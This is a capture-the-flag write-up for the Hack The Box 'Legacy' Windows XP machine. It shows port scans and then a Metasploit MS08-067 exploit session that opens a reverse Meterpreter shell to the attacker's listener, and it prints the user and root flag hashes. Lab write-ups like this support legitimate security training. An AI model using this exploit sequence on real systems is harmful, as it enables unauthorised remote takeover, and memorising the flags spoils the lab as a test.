INFO GATHERING

Legay: 10.10.10.4
Difficulty: Easy
OS: Windows
Beginner-level machine that has SMB security risks on Windows.

export ip=10.10.10.4
./htbscan.py $ip 300

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 300 --interactive 10.10.10.4

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-07-26 18:12:22 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 445/tcp on 10.10.10.4
Discovered open port 139/tcp on 10.10.10.4
rate: 0.00-kpps, 100.00% done, waiting -164-secs, found=2
rate: 0.00-kpps, 100.00% done, waiting -363-secs, found=2
rate: 0.00-kpps, 100.00% done, waiting -363-secs, found=2

Running command: sudo nmap -A -p139,445 10.10.10.4

Starting Nmap 7.60 (https://nmap.org) at 2018-07-26 19:22 BST
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Stats: 0:00:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.91% done; ETC: 19:23 (0:00:00 remaining)
Stats: 0:02:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.64% done; ETC: 19:25 (0:00:01 remaining)
Stats: 0:02:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.64% done; ETC: 19:25 (0:00:01 remaining)
Nmap scan report for 10.10.10.4
Host is up (0.13s latency).

PORT   STATE SERVICE   VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2000|XP|2003 (90%)
OS CPE: cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_server_2003
Aggressive OS guesses: Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (90%), Microsoft Windows XP SP2 or Windows Small Business Server 2003 (90%), Microsoft Windows XP SP2 (89%), Microsoft Windows Server 2003 (87%), Microsoft Windows XP SP2 or SP3 (87%), Microsoft Windows XP SP3 (87%), Microsoft Windows 2000 SP4 (86%), Microsoft Windows XP Professional SP2 (86%), Microsoft Windows XP Professional SP3 (86%), Microsoft Windows XP SP2 or Windows Server 2003 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: -3h00m32s, deviation: 0s, median: -3h00m32s

|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:a2:9e:89 (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2018-07-26T18:22:21+03:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

From this we know that port 445 is open and running SMB and that the OS is Windows XP. With this information we can use the well known SMB vulnerability exploit from metasploit ms08_67_netapi

```
root@kali:~/legacy# msfconsole -q
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(windows/smb/ms08_067_netapi) > set RHOST 10.10.10.4
RHOST => 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) > set LHOST 10.10.14.8
LHOST => 10.10.14.8
msf exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 10.10.14.8:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.4:1028) at 2018-07-26 19:54:29 +0100

meterpreter > sysinfo
Computer        : LEGACY
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : HTB
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >
```

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > show options
msf exploit(windows/smb/ms08_067_netapi) > set RHOST 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) > set LHOST 10.10.14.8
msf exploit(windows/smb/ms08_067_netapi) > exploit

Then go to C:\Documents and Settings\username\Desktop\ and you will find the flag for each user.

FLAGS

User: **e69af0e4f443de7e36876fda4ec7644f**
Root: **993442d258b0e0ec917cae9e695d5713**

Michael Cruz “mcruz”